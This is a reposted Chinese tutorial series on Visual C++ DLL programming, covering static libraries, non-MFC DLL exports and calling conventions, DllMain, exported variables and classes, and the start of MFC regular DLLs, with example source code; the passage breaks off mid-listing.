轉載：http://www.cppblog.com/kyelin/articles/17644.html
VC++ 動态連結庫(DLL) 程式設計（一）
――了解庫
作者： 宋寶華 e-mail:21cnbao @ 21cn.com
1. 概論
先來闡述一下 DLL(Dynamic Linkable Library) 的概念，你可以簡單的把 DLL 看成一種倉庫，它提供給你一些可以直接拿來用的變量、函數或類。在倉庫的發展史上經曆了“無庫－靜态連結庫－動态連結庫”的時代。靜态連結庫與動态連結庫都是共享代碼的方式，如果采用靜态連結庫，則無論你願不願意，lib 中的指令都被直接包含在最終生成的 EXE 檔案中了。但是若使用 DLL ，該 DLL 不必被包含在最終 EXE 檔案中， EXE 檔案執行時可以“動态”地引用和解除安裝這個與 EXE 獨立的DLL 檔案。靜态連結庫和動态連結庫的另外一個差別在于靜态連結庫中不能再包含其他的動态連結庫或者靜态庫，而在動态連結庫中還可以再包含其他的動态或靜态連結庫。
對動态連結庫，我們還需建立如下概念：
（ 1 ）DLL 的編制與具體的程式設計語言及編譯器無關
隻要遵循約定的 DLL 接口規範和調用方式，用各種語言編寫的 DLL 都可以互相調用。譬如Windows 提供的系統 DLL （其中包括了 Windows 的 API ），在任何開發環境中都能被調用，不在乎其是 Visual Basic 、Visual C++ 還是 Delphi 。
（ 2 ）動态連結庫随處可見
我們在 Windows 目錄下的system32 檔案夾中會看到 kernel32.dll 、 user32.dll 和gdi32.dll ， windows 的大多數 API 都包含在這些 DLL 中。 kernel32.dll 中的函數主要處理記憶體管理和程序排程；user32.dll 中的函數主要控制使用者界面； gdi32.dll 中的函數則負責圖形方面的操作。
一般的程式員都用過類似 MessageBox 的函數，其實它就包含在 user32.dll 這個動态連結庫中。由此可見DLL 對我們來說其實并不陌生。
(3)VC 動态連結庫的分類
Visual C++ 支援三種DLL ，它們分别是 Non-MFC DLL （非 MFC 動态庫）、 MFC Regular DLL （ MFC 規則 DLL ）、 MFC Extension DLL （MFC 擴充 DLL ）。
非 MFC 動态庫不采用MFC 類庫結構，其導出函數為标準的 C 接口，能被非 MFC 或 MFC 編寫的應用程式所調用； MFC 規則 DLL 包含一個繼承自 CWinApp 的類，但其無消息循環；MFC 擴充 DLL 采用 MFC 的動态連結版本建立，它隻能被用MFC 類庫所編寫的應用程式所調用。
由于本文篇幅較長，内容較多，勢必需要先對閱讀本文的有關事項進行說明，下面以問答形式給出。
問： 本文主要講解什麼内容？
答： 本文詳細介紹了 DLL 程式設計的方方面面，努力學完本文應可以對 DLL 有較全面的掌握，并能編寫大多數DLL 程式。
問： 如何看本文？
答： 本文每一個主題的講解都附帶了源代碼例程，可以随文下載下傳（每個工程都經WINRAR 壓縮）。所有這些例程都由筆者編寫并在 VC++6.0 中調試通過。
當然看懂本文不是讀者的最終目的，讀者應親自動手實踐才能真正掌握 DLL 的奧妙。
問： 學習本文需要什麼樣的基礎知識？
答： 如果你掌握了 C ，并大緻掌握了 C++ ，了解一點 MFC 的知識，就可以輕松地看懂本文。
2. 靜态連結庫
對靜态連結庫的講解不是本文的重點，但是在具體講解 DLL 之前，通過一個靜态連結庫的例子可以快速地幫助我們建立“庫”的概念。
圖 1 建立一個靜态連結庫
如圖 1 ，在VC++6.0 中 new 一個名稱為 libTest 的 static library 工程（ 單擊此處下載下傳本工程 ），并建立 lib.h 和 lib.cpp 兩個檔案， lib.h 和 lib.cpp 的源代碼如下：
//檔案： lib.h
#ifndef LIB_H
#define LIB_H
extern "C" int add(int x,int y); // 聲明為C編譯、連接配接方式的外部函數
#endif
//檔案： lib.cpp
#include "lib.h"
int add(int x,int y)
{
return x + y;
}
編譯這個工程就得到了一個 .lib 檔案，這個檔案就是一個函數庫，它提供了 add 的功能。将頭檔案和.lib 檔案送出給使用者後，使用者就可以直接使用其中的 add 函數了。
标準 Turbo C2.0 中的C 庫函數（我們用來的 scanf 、 printf 、 memcpy 、 strcpy 等）就來自這種靜态庫。
下面來看看怎麼使用這個庫，在 libTest 工程所在的工作區内 new 一個 libCall 工程。 libCall 工程僅包含一個main.cpp 檔案，它示範了靜态連結庫的調用方法，其源代碼如下：
#include <stdio.h>
#include "..\lib.h"
#pragma comment( lib, "..\\debug\\libTest.lib" ) // 指定與靜态庫一起連接配接
int main(int argc, char* argv[])
{
printf( "2 + 3 = %d", add( 2, 3 ) );
}
靜态連結庫的調用就是這麼簡單，或許我們每天都在用，可是我們沒有明白這個概念。代碼中 #pragma comment( lib , "..\\debug\\libTest.lib" ) 的意思是指本檔案生成的 .obj 檔案應與 libTest.lib 一起連接配接。如果不用#pragma comment 指定，則可以直接在 VC++ 中設定，如圖 2 ，依次選擇 tools 、 options 、 directories 、 library files 菜單或選項，填入庫檔案路徑。圖2 中加紅圈的部分為我們添加的 libTest.lib 檔案的路徑。
圖 2 在 VC 中設定庫檔案路徑
這個靜态連結庫的例子至少讓我們明白了庫函數是怎麼回事，它們是哪來的。我們現在有下列模糊認識了：
（ 1 ）庫不是個怪物，編寫庫的程式和編寫一般的程式差別不大，隻是庫不能單獨執行；
（ 2 ）庫提供一些可以給别的程式調用的東東，别的程式要調用它必須以某種方式指明它要調用之。
以上從靜态連結庫分析而得到的對庫的懵懂概念可以直接引申到動态連結庫中，動态連結庫與靜态連結庫在編寫和調用上的不同展現在庫的外部接口定義及調用方式略有差異。
3. 庫的調試與檢視
在具體進入各類 DLL 的詳細闡述之前，有必要對庫檔案的調試與檢視方法進行一下介紹，因為從下一節開始我們将面對大量的例子工程。
由于庫檔案不能單獨執行，因而在按下 F5 （開始 debug 模式執行）或 CTRL+F5 （運作）執行時，其彈出如圖 3 所示的對話框，要求使用者輸入可執行檔案的路徑來啟動庫函數的執行。這個時候我們輸入要調用該庫的EXE 檔案的路徑就可以對庫進行調試了，其調試技巧與一般應用工程的調試一樣。
圖 3 庫的調試與“運作”
通常有比上述做法更好的調試途徑，那就是将庫工程和應用工程（調用庫的工程）放置在同一 VC 工作區，隻對應用工程進行調試，在應用工程調用庫中函數的語句處設定斷點，執行後按下 F11 ，這樣就單步進入了庫中的函數。第 2 節中的libTest 和 libCall 工程就放在了同一工作區，其工程結構如圖 4 所示。
圖 4 把庫工程和調用庫的工程放入同一工作區進行調試
上述調試方法對靜态連結庫和動态連結庫而言是一緻的。是以本文提供下載下傳的所有源代碼中都包含了庫工程和調用庫的工程，這二者都被包含在一個工作區内，這是筆者提供這種打包下載下傳的用意所在。
動态連結庫中的導出接口可以使用 Visual C++ 的 Depends 工具進行檢視，讓我們用Depends 打開系統目錄中的 user32.dll ，看到了吧？紅圈内的就是幾個版本的 MessageBox 了！原來它真的在這裡啊，原來它就在這裡啊！
圖 5 用 Depends 檢視 DLL
當然 Depends 工具也可以顯示DLL 的層次結構，若用它打開一個可執行檔案則可以看出這個可執行檔案調用了哪些DLL 。
好，讓我們正式進入動态連結庫的世界，先來看看最一般的 DLL ，即非 MFC DLL 。
VC++動态連結庫(DLL)程式設計（二）－－非MFC DLL 4.非MFC DLL
4.1一個簡單的DLL
第2節給出了以靜态連結庫方式提供add函數接口的方法，接下來我們來看看怎樣用動态連結庫實作一個同樣功能的add函數。
如圖6，在VC++中new一個Win32 Dynamic-Link Library工程dllTest（單擊此處下載下傳本工程 附件）。注意不要選擇MFC AppWizard(dll)，因為用MFC AppWizard(dll)建立的将是第5、6節要講述的MFC 動态連結庫。
圖6 建立一個非MFC DLL
在建立的工程中添加lib.h及lib.cpp檔案，源代碼如下：
#ifndef LIB_H
#define LIB_H
extern "C" int __declspec(dllexport)add(int x, int y);
#endif
#include "lib.h"
int add(int x, int y)
{
return x + y;
}
與第2節對靜态連結庫的調用相似，我們也建立一個與DLL工程處于同一工作區的應用工程dllCall，它調用DLL中的函數add，其源代碼如下：
#include <stdio.h>
#include <windows.h>
typedef int(*lpAddFun)(int, int); //宏定義函數指針類型
int main(int argc, char *argv[])
{
HINSTANCE hDll; //DLL句柄
lpAddFun addFun; //函數指針
hDll = LoadLibrary("..\\Debug\\dllTest.dll");
if (hDll != NULL)
{
addFun = (lpAddFun)GetProcAddress(hDll, "add");
if (addFun != NULL)
{
int result = addFun(2, 3);
printf("%d", result);
}
FreeLibrary(hDll);
}
return 0;
}
分析上述代碼，dllTest工程中的lib.cpp檔案與第2節靜态連結庫版本完全相同，不同在于lib.h對函數add的聲明前面添加了__declspec(dllexport)語句。這個語句的含義是聲明函數add為DLL的導出函數。DLL内的函數分為兩種：
(1)DLL導出函數，可供應用程式調用；
(2) DLL内部函數，隻能在DLL程式使用，應用程式無法調用它們。
而應用程式對本DLL的調用和對第2節靜态連結庫的調用卻有較大差異，下面我們來逐一分析。
首先，語句typedef int ( * lpAddFun)(int,int)定義了一個與add函數接受參數類型和傳回值均相同的函數指針類型。随後，在main函數中定義了lpAddFun的執行個體addFun；
其次，在函數main中定義了一個DLL HINSTANCE句柄執行個體hDll，通過Win32 Api函數LoadLibrary動态加載了DLL子產品并将DLL子產品句柄賦給了hDll；
再次，在函數main中通過Win32 Api函數GetProcAddress得到了所加載DLL子產品中函數add的位址并賦給了addFun。經由函數指針addFun進行了對DLL中add函數的調用；
最後，應用工程使用完DLL後，在函數main中通過Win32 Api函數FreeLibrary釋放了已經加載的DLL子產品。
通過這個簡單的例子，我們獲知DLL定義和調用的一般概念：
(1)DLL中需以某種特定的方式聲明導出函數（或變量、類）；
(2)應用工程需以某種特定的方式調用DLL的導出函數（或變量、類）。
下面我們來對“特定的方式進行”闡述。
4.2 聲明導出函數
DLL中導出函數的聲明有兩種方式：一種為4.1節例子中給出的在函數聲明中加上__declspec(dllexport)，這裡不再舉例說明；另外一種方式是采用子產品定義(.def) 檔案聲明，.def檔案為連結器提供了有關被連結程式的導出、屬性及其他方面的資訊。
下面的代碼示範了怎樣同.def檔案将函數add聲明為DLL導出函數（需在dllTest工程中添加lib.def檔案）：
; lib.def : 導出DLL函數
LIBRARY dllTest
EXPORTS
add @ 1
.def檔案的規則為：
(1)LIBRARY語句說明.def檔案相應的DLL；
(2)EXPORTS語句後列出要導出函數的名稱。可以在.def檔案中的導出函數名後加@n，表示要導出函數的序号為n（在進行函數調用時，這個序号将發揮其作用）；
(3).def 檔案中的注釋由每個注釋行開始處的分号 (;) 指定，且注釋不能與語句共享一行。
由此可以看出，例子中lib.def檔案的含義為生成名為“dllTest”的動态連結庫，導出其中的add函數，并指定add函數的序号為1。
可以通過 dumpbin /exports *.dll指令檢視*.dll檔案的導出符号。
4.3 DLL的調用方式
在4.1節的例子中我們看到了由“LoadLibrary-GetProcAddress-FreeLibrary”系統Api提供的三位一體“DLL加載-DLL函數位址擷取-DLL釋放”方式，這種調用方式稱為DLL的動态調用。
動态調用方式的特點是完全由程式設計者用 API 函數加載和解除安裝 DLL，程式員可以決定 DLL 檔案何時加載或不加載，顯式連結在運作時決定加載哪個 DLL 檔案。
與動态調用方式相對應的就是靜态調用方式，“有動必有靜”，這來源于物質世界的對立統一。“動與靜”，其對立與統一竟無數次在技術領域裡得到驗證，譬如靜态IP與DHCP、靜态路由與動态路由等。從前文我們已經知道，庫也分為靜态庫與動态庫DLL，而想不到，深入到DLL内部，其調用方式也分為靜态與動态。“動與靜”，無處不在。《周易》已認識到有動必有靜的動靜平衡觀，《易．系辭》曰：“動靜有常，剛柔斷矣”。哲學意味着一種普遍的真理，是以，我們經常可以在枯燥的技術領域看到哲學的影子。
靜态調用方式的特點是由編譯系統完成對DLL的加載和應用程式結束時 DLL 的解除安裝。當調用某DLL的應用程式結束時，若系統中還有其它程式使用該 DLL，則Windows對DLL的應用記錄減1，直到所有使用該DLL的程式都結束時才釋放它。靜态調用方式簡單實用，但不如動态調用方式靈活。
下面我們來看看靜态調用的例子（單擊此處下載下傳本工程附件），将編譯dllTest工程所生成的.lib和.dll檔案拷入dllCall工程所在的路徑，dllCall執行下列代碼：
#pragma comment(lib,"dllTest.lib")
//.lib檔案中僅僅是關于其對應DLL檔案中函數的重定位資訊
extern "C" __declspec(dllimport) add(int x,int y); //declspec:declaration specification簡寫
int main(int argc, char* argv[])
{
int result = add(2,3);
printf("%d",result);
return 0;
}
由上述代碼可以看出，靜态調用方式的順利進行需要完成兩個動作：
(1)告訴編譯器與DLL相對應的.lib檔案所在的路徑及檔案名，#pragma comment(lib,"dllTest.lib")就是起這個作用。
程式員在建立一個DLL檔案時，連接配接器會自動為其生成一個對應的.lib檔案，該檔案包含了DLL 導出函數的符号名及序号（并不含有實際的代碼）。在應用程式裡，.lib檔案将作為DLL的替代檔案參與編譯。
(2)聲明導入函數，extern "C" __declspec(dllimport) add(int x,int y)語句中的__declspec(dllimport)發揮這個作用。
靜态調用方式不再需要使用系統API來加載、解除安裝DLL以及擷取DLL中導出函數的位址。這是因為，當程式員通過靜态連結方式編譯生成應用程式時，應用程式中調用的與.lib檔案中導出符号相比對的函數符号将進入到生成的EXE 檔案中，.lib檔案中所包含的與之對應的DLL檔案的檔案名也被編譯器存儲在 EXE檔案内部。當應用程式運作過程中需要加載DLL檔案時，Windows将根據這些資訊發現并加載DLL，然後通過符号名實作對DLL 函數的動态連結。這樣，EXE将能直接通過函數名調用DLL的輸出函數，就象調用程式内部的其他函數一樣。
4.4 DllMain函數
Windows在加載DLL的時候，需要一個入口函數，就如同控制台或DOS程式需要main函數、WIN32程式需要WinMain函數一樣。在前面的例子中，DLL并沒有提供DllMain函數，應用工程也能成功引用DLL，這是因為Windows在找不到DllMain的時候，系統會從其它運作庫中引入一個不做任何操作的預設DllMain函數版本，并不意味着DLL可以放棄DllMain函數。
根據編寫規範，Windows必須查找并執行DLL裡的DllMain函數作為加載DLL的依據，它使得DLL得以保留在記憶體裡。這個函數并不屬于導出函數，而是DLL的内部函數。這意味着不能直接在應用工程中引用DllMain函數，DllMain是自動被調用的。
我們來看一個DllMain函數的例子（單擊此處下載下傳本工程附件）。
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
printf("\nprocess attach of dll");
break;
case DLL_THREAD_ATTACH:
printf("\nthread attach of dll");
break;
case DLL_THREAD_DETACH:
printf("\nthread detach of dll");
break;
case DLL_PROCESS_DETACH:
printf("\nprocess detach of dll");
break;
}
return TRUE;
}
DllMain函數在DLL被加載和解除安裝時被調用，在單個線程啟動和終止時，DLLMain函數也被調用，ul_reason_for_call指明了被調用的原因。原因共有4種，即PROCESS_ATTACH、PROCESS_DETACH、THREAD_ATTACH和THREAD_DETACH，以switch語句列出。
來仔細解讀一下DllMain的函數頭BOOL APIENTRY DllMain( HANDLE hModule, WORD ul_reason_for_call, LPVOID lpReserved )。
APIENTRY被定義為__stdcall，它意味着這個函數以标準Pascal的方式進行調用，也就是WINAPI方式；
程序中的每個DLL子產品被全局唯一的32位元組的HINSTANCE句柄辨別，隻有在特定的程序内部有效，句柄代表了DLL子產品在程序虛拟空間中的起始位址。在Win32中，HINSTANCE和HMODULE的值是相同的，這兩種類型可以替換使用，這就是函數參數hModule的來曆。
執行下列代碼：
hDll = LoadLibrary("..\\Debug\\dllTest.dll");
if (hDll != NULL)
{
addFun = (lpAddFun)GetProcAddress(hDll, MAKEINTRESOURCE(1));
//MAKEINTRESOURCE直接使用導出檔案中的序号
if (addFun != NULL)
{
int result = addFun(2, 3);
printf("\ncall add in dll:%d", result);
}
FreeLibrary(hDll);
}
我們看到輸出順序為：
process attach of dll
call add in dll:5
process detach of dll
這一輸出順序驗證了DllMain被調用的時機。
代碼中的GetProcAddress ( hDll, MAKEINTRESOURCE ( 1 ) )值得留意，它直接通過.def檔案中為add函數指定的順序号通路add函數，具體展現在MAKEINTRESOURCE ( 1 )，MAKEINTRESOURCE是一個通過序号擷取函數名的宏，定義為（節選自winuser.h）：
#define MAKEINTRESOURCEA(i) (LPSTR)((DWORD)((WORD)(i)))
#define MAKEINTRESOURCEW(i) (LPWSTR)((DWORD)((WORD)(i)))
#ifdef UNICODE
#define MAKEINTRESOURCE MAKEINTRESOURCEW
#else
#define MAKEINTRESOURCE MAKEINTRESOURCEA
4.5 __stdcall約定
如果通過VC++編寫的DLL欲被其他語言編寫的程式調用，應将函數的調用方式聲明為__stdcall方式，WINAPI都采用這種方式，而C/C++預設的調用方式卻為__cdecl。__stdcall方式與__cdecl對函數名最終生成符号的方式不同。若采用C編譯方式(在C++中需将函數聲明為extern "C")，__stdcall調用約定在輸出函數名前面加下劃線，後面加“@”符号和參數的位元組數，形如[email protected]；而__cdecl調用約定僅在輸出函數名前面加下劃線，形如_functionname。
Windows程式設計中常見的幾種函數類型聲明宏都是與__stdcall和__cdecl有關的（節選自windef.h）：
#define CALLBACK __stdcall //這就是傳說中的回調函數
#define WINAPI __stdcall //這就是傳說中的WINAPI
#define WINAPIV __cdecl
#define APIENTRY WINAPI //DllMain的入口就在這裡
#define APIPRIVATE __stdcall
#define PASCAL __stdcall
在lib.h中，應這樣聲明add函數：
int __stdcall add(int x, int y);
在應用工程中函數指針類型應定義為：
typedef int(__stdcall *lpAddFun)(int, int);
若在lib.h中将函數聲明為__stdcall調用，而應用工程中仍使用typedef int (* lpAddFun)(int,int)，運作時将發生錯誤（因為類型不比對，在應用工程中仍然是預設的__cdecl調用），彈出如圖7所示的對話框。
圖7 調用約定不比對時的運作錯誤
圖8中的那段話實際上已經給出了錯誤的原因，即“This is usually a result of …”。
單擊此處下載下傳__stdcall調用例子工程源代碼附件。
4.6 DLL導出變量
DLL定義的全局變量可以被調用程序通路；DLL也可以通路調用程序的全局資料，我們來看看在應用工程中引用DLL中變量的例子（單擊此處下載下傳本工程附件）。
#ifndef LIB_H
#define LIB_H
extern int dllGlobalVar;
#endif
#include "lib.h"
#include <windows.h>
int dllGlobalVar;
BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
dllGlobalVar = 100; //在dll被加載時，賦全局變量為100
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
;檔案名：lib.def
;在DLL中導出變量
LIBRARY "dllTest"
EXPORTS
dllGlobalVar CONSTANT
;或dllGlobalVar DATA
GetGlobalVar
從lib.h和lib.cpp中可以看出，全局變量在DLL中的定義和使用方法與一般的程式設計是一樣的。若要導出某全局變量，我們需要在.def檔案的EXPORTS後添加：
變量名 CONSTANT //過時的方法
或
變量名 DATA //VC++提示的新方法
在主函數中引用DLL中定義的全局變量：
#include <stdio.h>
#pragma comment(lib,"dllTest.lib")
extern int dllGlobalVar;
int main(int argc, char *argv[])
{
printf("%d ", *(int*)dllGlobalVar);
*(int*)dllGlobalVar = 1;
printf("%d ", *(int*)dllGlobalVar);
return 0;
}
特别要注意的是用extern int dllGlobalVar聲明所導入的并不是DLL中全局變量本身，而是其位址，應用程式必須通過強制指針轉換來使用DLL中的全局變量。
這一點，從*(int*)dllGlobalVar可以看出。是以在采用這種方式引用DLL全局變量時，千萬不要進行這樣的指派操作：
dllGlobalVar = 1;
其結果是dllGlobalVar指針的内容發生變化，程式中以後再也引用不到DLL中的全局變量了。
在應用工程中引用DLL中全局變量的一個更好方法是：
#include <stdio.h>
#pragma comment(lib,"dllTest.lib")
extern int _declspec(dllimport) dllGlobalVar; //用_declspec(dllimport)導入
int main(int argc, char *argv[])
{
printf("%d ", dllGlobalVar);
dllGlobalVar = 1; //這裡就可以直接使用, 無須進行強制指針轉換
printf("%d ", dllGlobalVar);
return 0;
}
通過_declspec(dllimport)方式導入的就是DLL中全局變量本身而不再是其位址了，筆者建議在一切可能的情況下都使用這種方式。
4.7 DLL導出類
DLL中定義的類可以在應用工程中使用。
下面的例子裡，我們在DLL中定義了point和circle兩個類，并在應用工程中引用了它們（單擊此處下載下傳本工程附件）。
//檔案名：point.h，point類的聲明
#ifndef POINT_H
#define POINT_H
#ifdef DLL_FILE
class _declspec(dllexport) point //導出類point
#else
class _declspec(dllimport) point //導入類point
#endif
{
public:
float y;
float x;
point();
point(float x_coordinate, float y_coordinate);
};
#endif
//檔案名：point.cpp，point類的實作
#ifndef DLL_FILE
#define DLL_FILE
#endif
#include "point.h"
//類point的預設構造函數
point::point()
{
x = 0.0;
y = 0.0;
}
//類point的構造函數
point::point(float x_coordinate, float y_coordinate)
{
x = x_coordinate;
y = y_coordinate;
}
//檔案名：circle.h，circle類的聲明
#ifndef CIRCLE_H
#define CIRCLE_H
#include "point.h"
#ifdef DLL_FILE
class _declspec(dllexport)circle //導出類circle
#else
class _declspec(dllimport)circle //導入類circle
#endif
{
public:
void SetCentre(const point ¢rePoint);
void SetRadius(float r);
float GetGirth();
float GetArea();
circle();
private:
float radius;
point centre;
};
#endif
//檔案名：circle.cpp，circle類的實作
#ifndef DLL_FILE
#define DLL_FILE
#endif
#include "circle.h"
#define PI 3.1415926
//circle類的構造函數
circle::circle()
{
centre = point(0, 0);
radius = 0;
}
//得到圓的面積
float circle::GetArea()
{
return PI *radius * radius;
}
//得到圓的周長
float circle::GetGirth()
{
return 2 *PI * radius;
}
//設定圓心坐标
void circle::SetCentre(const point ¢rePoint)
{
centre = centrePoint;
}
//設定圓的半徑
void circle::SetRadius(float r)
{
radius = r;
}
類的引用：
#include "..\circle.h" //包含類聲明頭檔案
#pragma comment(lib,"dllTest.lib");
int main(int argc, char *argv[])
{
circle c;
point p(2.0, 2.0);
c.SetCentre(p);
c.SetRadius(1.0);
printf("area:%f girth:%f", c.GetArea(), c.GetGirth());
return 0;
}
從上述源代碼可以看出，由于在DLL的類實作代碼中定義了宏DLL_FILE，故在DLL的實作中所包含的類聲明實際上為：
class _declspec(dllexport) point //導出類point
{
…
}
和
class _declspec(dllexport) circle //導出類circle
{
…
}
而在應用工程中沒有定義DLL_FILE，故其包含point.h和circle.h後引入的類聲明為：
class _declspec(dllimport) point //導入類point
{
…
}
和
class _declspec(dllimport) circle //導入類circle
{
…
}
不錯，正是通過DLL中的
class _declspec(dllexport) class_name //導出類circle
{
…
}
與應用程式中的
class _declspec(dllimport) class_name //導入類
{
…
}
匹對來完成類的導出和導入的！
我們往往通過在類的聲明頭檔案中用一個宏來決定使其編譯為class _declspec(dllexport) class_name還是class _declspec(dllimport) class_name版本，這樣就不再需要兩個頭檔案。本程式中使用的是：
#ifdef DLL_FILE
class _declspec(dllexport) class_name //導出類
#else
class _declspec(dllimport) class_name //導入類
#endif
實際上，在MFC DLL的講解中，您将看到比這更簡便的方法，而此處僅僅是為了說明_declspec(dllexport)與_declspec(dllimport)匹對的問題。
由此可見，應用工程中幾乎可以看到DLL中的一切，包括函數、變量以及類，這就是DLL所要提供的強大能力。隻要DLL釋放這些接口，應用程式使用它就将如同使用本工程中的程式一樣！
本章雖以VC++為平台講解非MFC DLL，但是這些普遍的概念在其它語言及開發環境中也是相同的，其思維方式可以直接過渡。
VC++動态連結庫(DLL)程式設計（三）――MFC規則DLL
VC++動态連結庫(DLL)程式設計（三）
――MFC規則DLL
作者：宋寶華 e-mail:[email protected]
第4節我們對非MFC DLL進行了介紹，這一節将詳細地講述MFC規則DLL的建立與使用技巧。
另外，自從本文開始連載後，收到了一些讀者的e-mail。有的讀者提出了一些問題，筆者将在本文的最後一次連載中選取其中的典型問題進行解答。由于時間的關系，對于讀者朋友的來信，筆者暫時不能一一回複，還望海涵！由于筆者的水準有限，文中難免有錯誤和纰漏，也熱誠歡迎讀者朋友不吝指正！
5. MFC規則DLL
5.1 概述
MFC規則DLL的概念展現在兩方面：
（1） 它是MFC的
“是MFC的”意味着可以在這種DLL的内部使用MFC；
（2） 它是規則的
“是規則的”意味着它不同于MFC擴充DLL，在MFC規則DLL的内部雖然可以使用MFC，但是其與應用程式的接口不能是MFC。而MFC擴充DLL與應用程式的接口可以是MFC，可以從MFC擴充DLL中導出一個MFC類的派生類。
Regular DLL能夠被所有支援DLL技術的語言所編寫的應用程式調用，當然也包括使用MFC的應用程式。在這種動态連接配接庫中，包含一個從CWinApp繼承下來的類，DllMain函數則由MFC自動提供。
Regular DLL分為兩類：
（1）靜态連結到MFC的規則DLL
靜态連結到MFC的規則DLL與MFC庫（包括MFC擴充 DLL）靜态連結，将MFC庫的代碼直接生成在.dll檔案中。在調用這種DLL的接口時，MFC使用DLL的資源。是以，在靜态連結到MFC的規則DLL中不需要進行子產品狀态的切換。
使用這種方法生成的規則DLL其程式較大，也可能包含重複的代碼。
（2）動态連結到MFC的規則DLL
動态連結到MFC 的規則DLL可以和使用它的可執行檔案同時動态連結到 MFC DLL 和任何MFC擴充 DLL。在使用了MFC共享庫的時候，預設情況下，MFC使用主應用程式的資源句柄來加載資源模闆。這樣，當DLL和應用程式中存在相同ID的資源時（即所謂的資源重複問題），系統可能不能獲得正确的資源。是以，對于共享MFC DLL的規則DLL，我們必須進行子產品切換以使得MFC能夠找到正确的資源模闆。
我們可以在Visual C++中設定MFC規則DLL是靜态連結到MFC DLL還是動态連結到MFC DLL。如圖8，依次選擇Visual C++的project -> Settings -> General菜單或選項，在Microsoft Foundation Classes中進行設定。
圖8設定動态/靜态連結MFC DLL
5.2 MFC規則DLL的建立
我們來一步步講述使用MFC向導建立MFC規則DLL的過程，首先建立一個project，如圖9，選擇project的類型為MFC AppWizard(dll)。點選OK進入如圖10所示的對話框。
圖9 MFC DLL工程的建立
圖10所示對話框中的1區選擇MFC DLL的類别。
2區選擇是否支援automation（自動化）技術， automation允許使用者在一個應用程式中操縱另外一個應用程式或元件。例如，我們可以在應用程式中利用 Microsoft Word或Microsoft Excel的工具，而這種使用對使用者而言是透明的。自動化技術可以大大簡化和加快應用程式的開發。
3區選擇是否支援Windows Sockets，當選擇此項目時，應用程式能在 TCP/IP網絡上進行通信。 CWinApp派生類的InitInstance成員函數會初始化通訊端的支援，同時工程中的StdAfx.h檔案會自動include <AfxSock.h>頭檔案。
添加socket通訊支援後的InitInstance成員函數如下：
BOOL CRegularDllSocketApp::InitInstance()
{
if (!AfxSocketInit())
{
AfxMessageBox(IDP_SOCKETS_INIT_FAILED);
return FALSE;
}
return TRUE;
}
4區選擇是否由MFC向導自動在源代碼中添加注釋，一般我們選擇“Yes,please”。
圖10 MFC DLL的建立選項
5.3 一個簡單的MFC規則DLL
這個DLL的例子（屬于靜态連結到MFC的規則DLL）中提供了一個如圖11所示的對話框。
圖11 MFC規則DLL例子
在DLL中添加對話框的方式與在MFC應用程式中是一樣的。
在圖11所示DLL中的對話框的Hello按鈕上點選時将MessageBox一個“Hello,pconline的網友”對話框，下面是相關的檔案及源代碼，其中删除了MFC向導自動生成的絕大多數注釋（下載下傳本工程）：
第一組檔案：CWinApp繼承類的聲明與實作
// RegularDll.h : main header file for the REGULARDLL DLL
#if !defined(AFX_REGULARDLL_H__3E9CB22B_588B_4388_B778_B3416ADB79B3__INCLUDED_)
#define AFX_REGULARDLL_H__3E9CB22B_588B_4388_B778_B3416ADB79B3__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#ifndef __AFXWIN_H__
#error include 'stdafx.h' before including this file for PCH
#endif
#include "resource.h" // main symbols
class CRegularDllApp : public CWinApp
{
public:
CRegularDllApp();
DECLARE_MESSAGE_MAP()
};
#endif
// RegularDll.cpp : Defines the initialization routines for the DLL.
#include "stdafx.h"
#include "RegularDll.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
BEGIN_MESSAGE_MAP(CRegularDllApp, CWinApp)
END_MESSAGE_MAP()
/
// CRegularDllApp construction
CRegularDllApp::CRegularDllApp()
{
}
/
// The one and only CRegularDllApp object
CRegularDllApp theApp;
分析：
在這一組檔案中定義了一個繼承自CWinApp的類CRegularDllApp，并同時定義了其的一個執行個體theApp。乍一看，您會以為它是一個MFC應用程式，因為MFC應用程式也包含這樣的在工程名後添加“App”組成類名的類（并繼承自CWinApp類），也定義了這個類的一個全局執行個體theApp。
我們知道，在MFC應用程式中CWinApp取代了SDK程式中WinMain的地位，SDK程式WinMain所完成的工作由CWinApp的三個函數完成：
virtual BOOL InitApplication( );
virtual BOOL InitInstance( );
virtual BOOL Run( ); //傳說中MFC程式的“活水源頭”
但是MFC規則DLL并不是MFC應用程式，它所繼承自CWinApp的類不包含消息循環。這是因為，MFC規則DLL不包含CWinApp::Run機制，主消息泵仍然由應用程式擁有。如果DLL生成無模式對話框或有自己的主架構視窗，則應用程式的主消息泵必須調用從DLL導出的函數來調用PreTranslateMessage成員函數。
另外，MFC規則DLL與MFC應用程式中一樣，需要将所有 DLL中元素的初始化放到InitInstance成員函數中。
第二組檔案 自定義對話框類聲明及實作
#if !defined(AFX_DLLDIALOG_H__CEA4C6AF_245D_48A6_B11A_A5521EAD7C4E__INCLUDED_)
#define AFX_DLLDIALOG_H__CEA4C6AF_245D_48A6_B11A_A5521EAD7C4E__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// DllDialog.h : header file
/
// CDllDialog dialog
class CDllDialog : public CDialog
{
// Construction
public:
CDllDialog(CWnd* pParent = NULL); // standard constructor
enum { IDD = IDD_DLL_DIALOG };
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
// Implementation
protected:
afx_msg void OnHelloButton();
DECLARE_MESSAGE_MAP()
};
#endif
// DllDialog.cpp : implementation file
#include "stdafx.h"
#include "RegularDll.h"
#include "DllDialog.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/
// CDllDialog dialog
CDllDialog::CDllDialog(CWnd* pParent )
: CDialog(CDllDialog::IDD, pParent)
{
}
void CDllDialog::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
}
BEGIN_MESSAGE_MAP(CDllDialog, CDialog)
